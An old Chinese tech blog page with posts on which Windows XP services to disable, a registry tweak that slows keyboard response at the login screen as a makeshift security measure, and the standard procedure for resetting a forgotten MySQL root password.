remote registry

使远程用户能修改此计算机上的注册表设置。这项非禁止不可,因为不但个人用户用不到,而且有些居心不良的人还可以通过这个服务把你的浏

览器或系统改得面目全非。


smart card

管理计算机对智能卡的取读访问。智能卡?你有吗?


ssdp discovery service

启动家庭网络上的upnp设备的发现。具有upnp的设备还不多,对于我们来说这个服务是没有用的,禁止吧。


terminal services

允许多位用户连接并控制一台机器,并且在远程计算机上显示桌面和应用程序。如果你用到xp的远程控制功能,那么就需要保留该服务,否则可以禁止它。


uninterruptible power supply

管理连接到计算机的不间断电源。如果你有那种可以和计算机进行数字通讯的ups电源的话,那么就需要这个服务,没有的话就禁止。

推荐日志 看我加强Windows系统安全之另类怪招

[ 2007-03-25 02:33:13 | 作者: sun ]
Windows 2000曾经有一个著名的输入法漏洞,可以借助中文输入法跳进系统。这个漏洞可以通过按装SP1以上补丁包解决。在下载补丁程序的时候,我意外发现了一个另类加强系统安全的方法,还可以实现某些特别效果,不愿独占,拿出来与大家共同分享。

  意想不到的最终效果

  先说一下最后效果,在Windows 2000登录画面出现,提示按“Ctrl+Alt+Del”时,正常按住这三个键进行登录,Windows 2000却置之不理,按其他键也是如此,键盘没有任何效果正常的“敲”键盘是不行的,需要按住几秒,才会出现盼望的输入密码框,输入密码和用户名也是如此,但进入系统后就一切可正常操作了,不明白的还以为键盘出了毛病,这样因为无法正常的操作键盘(将其操作速度放缓),就一定程度上降低了别人进入系统的可能性 。

  实现方法

  第一步:在“开始→运行”中输入“regedt32”,选择根键是[HKEY_USERS]的视窗,将[.default\control panel\Accessibility\keyboard preference]中“ON”的数据改为1。

  第二步:将[.default\control panel\Accessibility\keyboard response]的“flags”数据改为127。

  第三步:好了,该看一下效果了。注销系统,按“Ctrl+Alt+Del”或输入密码键盘是不是不像以前那么听话了,键盘好像失灵一样,机箱喇叭在狂叫,怎么办?需要先按住“Ctrl”不放,待系统发出蜂鸣后在按“Alt”再待系统发出蜂鸣后,再按住“Del”,此时可以输入密码了。

  第四步:下一步是输入密码。注意键盘上的键反应速度都降低了,要输入任何键,都需要按住它几秒钟才会显示出来,回车键也是这样的。

  登录系统之后,用键盘输入文字的速度没有变化,恢复到了正常速度。用了这个技巧,那些企图进入系统的人可能会误认为系统或键盘出了毛病而走开,给我们的系统又加了一把“锁”。

推荐日志 如何修改遗失的MYSQL ROOT用户密码

[ 2007-03-25 02:32:57 | 作者: sun ]
如果忘记了 MySQL 的 root 密码,可以用以下方法重新设置:


1. KILL掉系统里的MySQL进程;


2. 用以下命令启动MySQL,以不检查权限的方式启动;


mysqld_safe -skip-grant-tables &


3. 然后用空密码方式使用root用户登录 MySQL;


mysql -u root


4. 修改root用户的密码;


mysql> up&#100;ate mysql.user set password=PASSWORD(’新密码’) wh&#101;re User=’root’;

mysql> flush privileges;

mysql> quit


5. 重新启动MySQL,就可以使用新密码登录了。